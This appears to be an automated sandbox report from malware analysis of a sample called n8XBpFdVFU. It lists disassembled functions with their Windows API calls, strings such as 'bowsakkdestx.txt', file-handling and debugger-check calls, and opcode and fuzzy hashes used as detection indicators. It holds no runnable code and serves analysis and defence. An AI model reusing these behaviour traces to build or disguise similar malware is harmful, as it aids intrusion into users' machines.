Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: d807541a0d1b126bc38ced4668b3b61b472b47aa0d79cc9e7bfc34870b6aacc2
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: 5d53f8f732e4342f1a2ab947ea56d6b713f7325b43ea2b5621e341dec89f9ad8
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

